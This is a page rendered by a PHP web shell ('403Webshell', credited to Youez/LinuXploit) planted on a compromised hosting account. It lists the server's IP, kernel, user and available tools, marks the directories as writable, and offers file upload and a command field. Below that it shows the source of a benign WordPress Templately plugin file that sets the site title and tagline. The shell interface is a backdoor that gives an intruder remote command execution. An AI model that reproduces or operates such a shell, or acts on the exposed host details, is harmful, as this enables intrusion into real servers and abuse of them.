403Webshell
Server IP : 87.98.154.146  /  Your IP : 216.73.216.165
Web Server : Apache
System : Linux webm004.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : ohklomafyi ( 52085)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ohklomafyi/www/wp-content/plugins/templately/includes/Core/Importer/Runners/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ohklomafyi/www/wp-content/plugins/templately/includes/Core/Importer/Runners/Customizer.php
<?php

namespace Templately\Core\Importer\Runners;

use Exception;
use Templately\Core\Importer\Form;
use Templately\Core\Importer\Runners\BaseRunner;
use Templately\Core\Importer\Utils\Utils;

class Customizer extends BaseRunner {

	public function get_name(): string {
		return 'customizer';
	}

	public function get_label(): string {
		return __( 'Customizer', 'templately' );
	}

	public function should_log(): bool {
		return true;
	}

	public function get_action(): string {
		return 'eventLog';
	}

	public function log_message(): string {
		return __( 'Updating customizer settings.', 'templately' );
	}

	public function should_run( $data, $imported_data = [] ): bool {
		$params = $this->origin->get_request_params();
		return ! empty( $params['title'] ) || !empty( $params['slogan'] );
	}

	public function import( $data, $imported_data ): array {
		$params = $this->origin->get_request_params();
		$customizer = [];

		if( ! empty( $params['title'] ) ) {
			$customizer[] = 'title';
			// set_theme_mod( 'blogname', $params['title'] );
			Utils::update_option( 'blogname', $params['title'] );
		}

		// update Tagline
		if( ! empty( $params['slogan'] ) ) {
			$customizer[] = 'slogan';
			// set_theme_mod( 'blogdescription', $params['slogan'] );
			Utils::update_option( 'blogdescription', $params['slogan'] );
		}

		return  [ 'customizer' => $customizer ];
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit